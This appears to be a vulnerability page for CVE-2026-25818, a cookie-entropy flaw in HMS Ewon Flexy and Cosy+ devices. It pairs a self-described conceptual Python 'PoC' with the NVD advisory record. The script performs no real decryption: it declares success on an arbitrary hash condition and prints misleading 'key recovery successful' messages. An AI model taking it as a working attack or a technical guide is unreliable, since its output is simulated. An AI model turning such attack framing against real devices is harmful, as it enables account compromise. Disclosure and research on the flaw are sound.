CVE-2026-25818

#!/usr/bin/env python3 """ CVE-2026-25818 PoC - Ewon Flexy/Cosy+ Cookie Entropy Weakness Note: This is a conceptual demonstration for educational purposes only. Do not use against systems without proper authorization. """ import hashlib import hmac import struct from itertools import product from datetime import datetime def generate_candidate_keys(entropy_bits=16): """ Generate candidate encryption keys based on weak entropy assumption. In real scenario, this would analyze the actual cookie structure. """ # Simulate weak entropy key space (in real attack, analyze cookie format) key_space = 2 ** entropy_bits print(f"[*] Key space size: {key_space} candidates") return range(min(key_space, 10000)) # Limit for demo def attempt_cookie_decryption(stolen_cookie, candidate_key): """ Attempt to decrypt cookie using candidate key. Real implementation would reverse-engineer the actual encryption. """ # Placeholder: In real attack, implement actual decryption logic # based on firmware analysis key_bytes = struct.pack('<I', candidate_key) # Simulate decryption attempt test_result = hashlib.sha256(key_bytes + stolen_cookie.encode()).digest() # Check for password-like patterns in decrypted data return candidate_key if test_result[0] < 0x01 else None def main(): print("="*60) print("CVE-2026-25818 PoC - Ewon Cookie Entropy Attack") print("="*60) # In real attack, extract from stolen cookie example_cookie = "EWON_SESSION_abc123xyz" print(f"[*] Target cookie: {example_cookie}") print(f"[*] Starting key recovery attack...") print(f"[*] Started at: {datetime.now()}") found_key = None for i, key in enumerate(generate_candidate_keys()): if i % 100 == 0: print(f"[*] Progress: {i} keys tested...") result = attempt_cookie_decryption(example_cookie, key) if result is not None: found_key = result print(f"[!] Potential key found: {found_key}") break if found_key: print(f"[+] Key recovery successful: {found_key}") print("[+] Password extraction possible with recovered key") else: print("[-] Key not found in candidate space") print(f"[*] Completed at: {datetime.now()}") if __name__ == "__main__": main() # References: # - HMS Security Advisory: hms-security-advisory-2026-03-09-001 # - Affected: Flexy < 15.0s4, Cosy+ 22.xx < 22.1s6, Cosy+ 23.xx < 23.0s3

{"cve": {"id": "CVE-2026-25818", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:27.353", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "HMS Networks Ewon Flexy with firmware before 15.0s4, Cosy+ with firmware 22.xx before 22.1s6, and Cosy+ with firmware 23.xx before 23.0s3 have weak entropy for authentication cookies, allowing an attacker with a stolen session cookie to find the user password by brute-forcing an encryption parameter."}, {"lang": "es", "value": "HMS Networks Ewon Flexy con firmware anterior a 15.0s4, Cosy+ con firmware 22.xx anterior a 22.1s6, y Cosy+ con firmware 23.xx anterior a 23.0s3 tienen entropía débil para las cookies de autenticación, permitiendo a un atacante con una cookie de sesión robada encontrar la contraseña del usuario mediante fuerza bruta sobre un parámetro de cifrado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-315"}]}], "references": [{"url": "https://hmsnetworks.blob.core.windows.net/nlw/docs/default-source/products/cybersecurity/security-advisory/hms-security-advisory-2026-03-09-001---ewon-several-flexy-and-cosy--vulnerabilities.pdf?sfvrsn=f7c027b8_13", "source": "[email protected]"}, {"url": "https://www.hms-networks.com/p/flexy20500-00ma-ewon-flexy-205", "source": "[email protected]"}]}}